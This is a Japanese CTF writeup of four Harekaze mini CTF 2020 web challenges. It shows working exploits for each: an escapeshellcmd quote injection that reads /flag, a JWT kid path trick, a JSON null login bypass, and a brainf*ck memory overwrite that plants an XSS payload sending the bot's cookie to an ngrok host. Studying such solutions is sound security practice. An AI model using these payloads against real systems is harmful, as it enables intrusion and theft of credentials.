Harekaze mini CTF 2020 writeup for web challs
Harekaze mini CTF 2020にチーム./Vespiaryで出て、全完して5位でした。全完したのはTSGと弊チームだけです。
#HarekazeCTF お疲れ様です!
— Ark (@arkark_) December 27, 2020
./Vespiaryで出て†全完†して5位になりました cooldown🤣
自分はweb全完しました(bfだけチームメンバと一緒に解いた) pic.twitter.com/TKehRwOj8C
自分はweb問を解いたので、以下はそのwriteupです。WASM BFはチームメンバと一緒に解きました。
また、公式のリポジトリはここにあります。
[web] What time is it now?
123 pts, 63 solves
そうねだいたいね…
http://harekaze2020.317de643c0ae425482fd.japaneast.aksapp.io/what-time-is-it-now/
問題概要
- dateコマンドの実行結果を表示するサービスが与えられる
- フラグファイルは
/flag
に置かれている
考察
1 | $format = isset($_REQUEST['format']) ? (string)$_REQUEST['format'] : '%H:%M:%S'; |
の部分で、date
コマンドを実行しています。
escapeshellcmd
には
' および " は、対になっていない場合にのみエスケープされます。
https://www.php.net/manual/ja/function.escapeshellcmd.php
という有名で最高な仕様があるので、これを使います。
この仕様を悪用すると、?format=' -f '/flag
に対してエスケープされずに
1 | date '+' -f '/flag' 2>&1 |
が実行されるようになります。
攻撃
1 | http "http://harekaze2020.317de643c0ae425482fd.japaneast.aksapp.io/what-time-is-it-now/?format=' -f '/flag" | grep "HarekazeCTF" |
フラグ
HarekazeCTF{1t's_7pm_1n_t0ky0}
[web] JWT is secure
210 pts, 19 solves
独自に作ったセッション機能は脆弱性を作り込みがちだということを学んだので、今回はJWT (JSON Web Token)を採用しました。
http://harekaze2020.317de643c0ae425482fd.japaneast.aksapp.io/jwt-is-secure/
問題概要
- JWTで認証を行っているログイン可能なサービスが与えられる
- adminページにアクセスするとフラグが見られるが、adminにしか閲覧権限がない
解法
ソースコードを読むと次のことがわかります。
- algは'hs256', 'hs384', 'hs512' の3種類のみ
- none攻撃のような典型手法はできそうにない
- adminかの判定はJWTのデータ部の
role
を見て判断している:$session->get('role') === 'admin'
- JWTのヘッダの
kid
の値からハッシュ関数のキーに使うファイルを特定して、検証を行っている:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15private function getSecretKey($kid) {
$dir = $this->base_dir . '/' . $kid[0] . '/' . $kid[1];
$path = $dir . '/' . $kid;
// no path traversal, no stream wrapper
if (preg_match('/\.\.|\/\/|:/', $kid)) {
throw new Exception('Hacking attempt detected');
}
if (!file_exists($path) || !is_file($path)) {
throw new Exception('Secret key not found');
}
return file_get_contents($path);
}$this->base_dir
の値は./keys
- なにやらpath traversalを防ごうとしている
- キーが置かれているファイルは、セッション開始時にパスが乱数で決定される:
1
2
3
4
5
6
7
8
9
10private function setSecretKey($kid, $key) {
$dir = $this->base_dir . '/' . $kid[0] . '/' . $kid[1];
$path = $dir . '/' . $kid;
if (!file_exists($dir)) {
mkdir($dir, 0777, TRUE);
}
file_put_contents($path, $key);
}
ところで、サーバには./keys/.htaccess
が置かれています。いい感じの場所にいい感じの名前のファイルが置かれているので、これを使わない手はなさそうです。
$kid
が"/.htaccess"
の場合、$path
が./key///.//.htaccess
になり、.htaccess
自身を指すようになります。これによって、検証に使用する鍵が固定されたので攻撃が成立します。
攻撃
実際の攻撃手順は次のとおりです。
JWTの生成に関してはサーバのコードを流用すると楽なので、include
して使っています。
1 | cd distfiles/public |
フラグ
HarekazeCTF{l1st3n_1_just_g1v3_y0u_my_fl4g_4t4sh1_n0_w4v3_w0_t0b4sh1t3_m1ruk4r4}
[web] Avatar Viewer
305 pts, 8 solves
Avatar Uploaderという名前の問題を覚えていますか? ご存知のように、あのWebアプリには致命的な脆弱性がありました。今回は安全のためにアップロード機能を削除しました。
http://harekaze2020.317de643c0ae425482fd.japaneast.aksapp.io/avatar-viewer/
問題概要
- fastify製のログイン可能なサービスが与えられる
- ユーザは
guest
とadmin-(censored)
のみ
- ユーザは
- adminページにアクセスするとフラグが見られるが、adminにしか閲覧権限がない
解法
ログインの処理はこうなっています:
1 | // ...snip... |
users.json
:
1 | { |
なんとかしてusers[username] != password
を騙したいです。
ところで、POSTされたデータがapplication/x-www-form-urlencoded
の場合はfastify-formbodyでパースされます[1]が、application/json
の場合もちゃんと認識され普通にパースして処理されるようです。
JSONならnullを注入できるので
1 | { |
を送信すると、users[username] != password
がundefined != null
と等価になり、好きな値でログインできてしまいます。
あとは型を騙しまくれば、フラグまで一直線です。
攻撃
1 | echo '{"username": ["../users.json"], "password": null }' | http --session=./session.json POST "http://harekaze2020.317de643c0ae425482fd.japaneast.aksapp.io/avatar-viewer/login" |
フラグ
HarekazeCTF{maji_natural_super_nyan}
にゃーん
[web] WASM BF
322 pts, 7 solves
今はWebAssemblyの時代です。知らんけど。WebAssemblyを学ぶために、Brainf*ckのインタプリタをCで書いてwasmにコンパイルしてみました。
http://harekaze2020.317de643c0ae425482fd.japaneast.aksapp.io/wasm-bf/
問題概要
- brainf*ckが実行できるサービスが与えられる
- 実行時の出力結果が画面に表示される
- フラグのcookieを持ったbotに、適当なbrainf*ckプログラムを実行させることができる
解法
brainf*ckの実装を見ると
1 | void print_char(char c) { |
によりXSSが封じられています。しかし、グローバル変数の宣言部分を見ると、
1 | unsigned char buffer[BUFFER_SIZE] = {0}; |
memory
から範囲外アクセスするとbuffer
を上書きすることが可能だとわかるので、あとはbrainf*ckのcode golfをするだけです。文字数制限は1000文字。小さい。
攻撃
最終的にできたコードはこれです(見やすいように改行しています):
1 | ----[---->+<]>--.--[--->+<]>.++++.------.-[--->+<]>--.---[->++++<]>-.-.++++[->+++<]>+.[--->++<]>--- |
文字数は839。やっている処理は
- bufferに直接
=img src=0 onerror=location="//b4d7d69fd802.ngrok.io?"+document.cookie=
を書き込む - 右端の
=
をインクリメント - 左端の
=
をデクリメント
になっています。b4d7d69fd802.ngrok.io
はngrokでホストしたURLです。また、
- 文字列を生成する部分は https://copy.sh/brainfuck/text.html
- デバッグには https://arkark.github.io/brainfuck-online-simulator
を使いました。
上のコードを投げると手元のログには
1 | [2020-12-26T13:34:34.906Z] "GET /?flag=HarekazeCTF{I_th1nk_w4sm_1s_e4s1er_t0_re4d_th4n_4smjs}" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/88.0.4298.0 Safari/537.36" |
と表示されました。web問とはいったい。
フラグ
HarekazeCTF{I_th1nk_w4sm_1s_e4s1er_t0_re4d_th4n_4smjs}
追記
この解法すごい。感動した:
#%01-.++[-<+]+[>-]+<img%20src=x%20onerror=alert(1)>
— こおしいず(っ'ヮ' )ノシ🚩 (@kcz146) December 29, 2020
めっちゃきれいにできた...
感想
全完やったー。うれしいな。
最近HITCON CTFやhxp CTFなどの激ムズ高難度CTFでボコボコにされていたので、癒やされました。
主にweb問しか見てないですが、ファイル配付やコード中のコメントなど、問題の本質に集中できるような親切な出題の仕方がされていて楽しんで取り組めました。任意のCTFがこうあってほしいです。難易度の勾配もちょうどよかったと思います。
来年はminiじゃないCTFも期待しています!
この問題の本質ではないですが、fastify-formbodyはqsではなくnodeのbuiltinであるquerystringを使っているらしいです(ref. https://github.com/fastify/fastify-formbody/tree/v5.0.0#upgrading-from-4x )。知らなかった。配列指定がいつもの
hoge[]=xxx
ではないので注意したい。 ↩︎